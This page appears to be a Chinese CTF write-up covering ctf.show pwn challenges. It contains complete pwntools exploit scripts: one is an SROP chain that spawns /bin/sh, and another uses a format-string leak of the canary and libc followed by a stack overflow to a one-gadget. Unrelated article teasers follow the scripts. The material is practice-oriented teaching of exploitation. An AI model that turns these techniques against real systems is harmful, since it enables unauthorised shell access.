PWN-PRACTICE-CTFSHOW-7

PWN-PRACTICE-CTFSHOW-7

    • 大吉大利杯-easyrop
    • 大牛杯-guess
    • 吃鸡杯-win_pwn
    • 吃鸡杯-easy_canary

大吉大利杯-easyrop

栈溢出,SROP

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
context.arch="amd64" #32位和64位的sigframe结构不同,需要指定处理器架构
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28078)
elf=ELF("./pwn1")syscall=0x4000DC #syscall gadget
buf=0x6000E0 #buf address
pop_rax=0x4000DB #pop rax;syscall gadgetsigframe = SigreturnFrame()
#sigreturn系统调用结束后,由pop恢复的寄存器值,可指定
sigframe.rax = constants.SYS_read 
sigframe.rdi = 0
sigframe.rsi = buf#输入数据的地址
sigframe.rdx = 0x300
sigframe.rsp = buf#这里设置新的栈顶与read输入的数据地址相同,ret从栈顶弹出一个地址到rip,于是控制了下一条执行指令的地址
sigframe.rip = syscallio.recvuntil("Welcome to DJB easyrop!\n")
#正常输入数据的地址与返回地址在栈上的偏移为64,填充后rop
#pop_rax将rax赋值为15,然后会syscall,即sigreturn系统调用,将sigframe里设置的寄存器值赋为新的寄存器值
#新的rip为syscall,rax为constants.SYS_read,于是再次执行read系统调用,输入数据的地址为buf
payload="a"*64+p64(pop_rax)+p64(15)+str(sigframe)
io.send(payload)sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = buf+0x120 # "/bin/sh\x00"的地址
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall#上面再次执行的read系统调用,输入数据的地址为buf,因为第一个sigreturn设置栈顶rsp也为buf,于是ret要从buf处弹出一个地址到rip,,作为下一条指令的地址,于是输入到buf的数据首先为pop_rax和新的sigframe
payload=p64(pop_rax)+p64(15)+str(sigframe) #由ret回到pop rax;syscall 执行sigreturn,给寄存器赋值,然后再执行execve系统调用,rdi为"/bin/sh\x00"的地址
payload=payload.ljust(0x120,"\x00")+"/bin/sh\x00"
io.send(payload)io.interactive()

大牛杯-guess

nc连上去,直接输入65538即可得到flag
guess-flag

吃鸡杯-win_pwn

exe程序,运行后随便输入一个长度为169的字符串,然后回车,即可得到flag
winpwn-flag

吃鸡杯-easy_canary

格式化字符串漏洞泄露canary和libc基地址,然后栈溢出覆盖返回地址到one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28140)
elf=ELF("./pwn1")number=0x6B8B4567
io.sendlineafter("lucky number:\n",p32(number))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary和libc基址
payload="%15$p,%21$p"
io.sendline(payload)
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
print("libc_base=="+hex(libc_base))
ogg=libc_base+0x45216payload="a"*72+p64(canary)+"b"*8+p64(ogg)
io.sendline(payload)io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/437997.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【译】谨慎使用CSS中的波浪选择器

最近我的一些项目都遇到了一些类似的样式问题。它们都错误地使用了波浪选择器,并造成了很多地方的CSS代码臃肿( CSS Bloat )。大家可能以前也都遇到或者使用过波浪选择器,毕竟它作为CSS选择器已经很长时间了, 甚至IE7都支持 。波浪选择器用来…

HTML + CSS 实现 GitHub 项目标签、徽章样式

经常会在GitHub上项目介绍的README.md文件中看到许多漂亮的标签,这些标签可以显示version、stars、license等信息 我们可以通过 https://shields.io/ 这个网站在线制作图标,填写label、message、color三个字段,点击Make Badge就可以生成图标…

instant.page —— 一个 JS 脚本实现网站预加载,提升页面加载速度

instant.page 使用即时预加载技术,在用户点击之前预先加载页面。当用户的鼠标悬停在一个链接上超过 65 毫秒时,浏览器会对此页面进行预加载,当用户点击链接后,就从预加载的缓存中直接读取页面内容,从而达到缩短页面加载…

PWN-COMPETITION-HGAME2022-Week1

PWN-COMPETITION-HGAME2022-Week1enter_the_pwn_landenter_the_evil_pwn_landoldfashion_orwser_per_fatest_your_nctest_your_gdbenter_the_pwn_land 栈溢出,需要注意的是下标 i 的地址比输入s的地址更高 s溢出会覆盖 i ,于是需要小心地覆写 i 的值&am…

Hexo 博客添加 README.md 以及部署到 GitHub 丢失/显示不正常解决方法

GitHub 项目的README.md为自述文件,可对该项目进行介绍,解释等。 使用 Github Pages 和 Hexo 搭建的博客,如果在最开始建立仓库的时候没有创建README.md文件,那么在后期如何添加呢? 添加方法:在根目录 so…

REVERSE-COMPETITION-HGAME2022-Week1

REVERSE-COMPETITION-HGAME2022-Week1easyasmcreakmeFlag Checker猫头鹰是不是猫easyasm 程序一开始将si设置为0,然后si和28比较,如果si小于28则进入循环 循环体中,si作为下标,从输入中取值存入al,然后al左移4位&…

谷歌浏览器检查更新时出错:无法启动更新检查(错误代码为 3: 0x80080005 -- system level)

谷歌浏览器检查更新报错:检查更新时出错:无法启动更新检查(错误代码为 3: 0x80080005 – system level),如下图所示: 网上的解决方法都是因为谷歌被墙,所以要重新下载,事实上并不是…

PWN-COMPETITION-HGAME2022-Week2

PWN-COMPETITION-HGAME2022-Week2blindecho_severoldfashion_noteblind 访问/proc/self/mem即可修改当前进程的内存,.text段也是可修改的 程序开始的时候直接输出了write的地址,泄露libc,然后在__libc_start_main上喷射shellcode # -*- cod…

Sharepoint学习笔记—Site Definition系列-- 1、创建Site Columns

https://www.cnblogs.com/wsdj-ITtech/archive/2012/08/12/2470219.html Site Columns是Sharepoint网站的一个重要底层结构,它是一类可重用的列定义或模板,可以将其分配给一个或多个 SharePoint 网站的一个或多个列表。 一个Site Column是由几个属性定义…

利用Cloudflare为基于GitHub Pages的Hexo博客添加HTTPS支持

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 文章目录● 前言● 注册 Cloudflare● 添加站点● 修改DNS● 开启 HTTPS● 重定向强制 HTTPSHTTP(超文本…

REVERSE-COMPETITION-HGAME2022-Week2

REVERSE-COMPETITION-HGAME2022-Week2xD MAZEupx magic 0fake shellcreakme2upx magic 1xD MAZE 迷宫题,不过不是上下左右,而是只有前进 0-512,1-64,2-8,3-1 每一次v14加上前进的单位后,需要保证map[v14]3…

Github+jsDelivr+PicGo 打造稳定快速、高效免费图床

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! 本文原创首发于我的个人博客:www.itrhx.com,欢迎访问! 本文在我个人博客上的链接…

用于科研的移动机器人平台推荐

作者:知乎用户 链接:https://www.zhihu.com/question/59738106/answer/268510238 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 最近看到一篇介绍机器人移动平台的文章,与题主分…

turtlebot3入门教程

旨在用于教育,研究,产品原型和爱好应用的目的。 TurtleBot3的目标是大幅降低平台的尺寸和价格,而不会牺牲性能,功能和质量。 由于提供了不同可选,如底盘,计算机和传感器,TurtleBot3可以通过各…

UI设计工具比较:Sketch、Adobe XD、墨刀、Mockplus、Axure RP

UI设计工具,分为2个派系。 其中,最大、最主流的派系,是Sketch、Adobe XD、墨刀这个派系。 这个派系的软件,操作方式、思路都非常接近,连常用快捷键都一样,会一个就等于都会了。 在一个无限大的画布上&…

光学字符识别 Tesseract-OCR 的下载、安装和基本用法

OCR:即Optical Character Recognition,光学字符识别,是指检查纸或者图片上打印的字符,通过检测暗、亮的模式确定其形状,然后用字符识别方法将形状翻译成计算机文字的过程; Tesseract-OCR:一款由…

利用官方支持为基于GitHub Pages的Hexo博客启用HTTPS

2022-01-25 更新:博客新地址:https://www.itbob.cn/,文章距上次编辑时间较远,部分内容可能已经过时! HTTP(超文本传输协议),是一个基于请求与响应,无状态的,应…

标注功能介绍

Mockplus3.5.0.1版本中,新增了标注功能。多种标注模式,智能生成,随时查看。原型设计效率更高。 Mockplus的标注功能有以下四种模式: 1、无选中标注 在未选中任何组件时,按住Ctrl键,鼠标经过某个组件&#…

REVERSE-COMPETITION-HGAME2022-Week3

REVERSE-COMPETITION-HGAME2022-Week3Answers Windowscreakme3hardenedfishmanAnswer’s Windows 含有GUI的程序,ida打开,ShiftF12打开字符串窗口,发现"right"和"wrong" 对"right"查找交叉引用,来…

NuGet的简单使用

什么是NuGet? NuGet(读作New Get)是用于微软.NET开发平台的软件包管理器,是一个Visual Studio的扩展。在使用Visual Studio开发基于.NET Framework的应用时,NuGet能够令你在项目中添加、移除和更新引用的工作变得更加…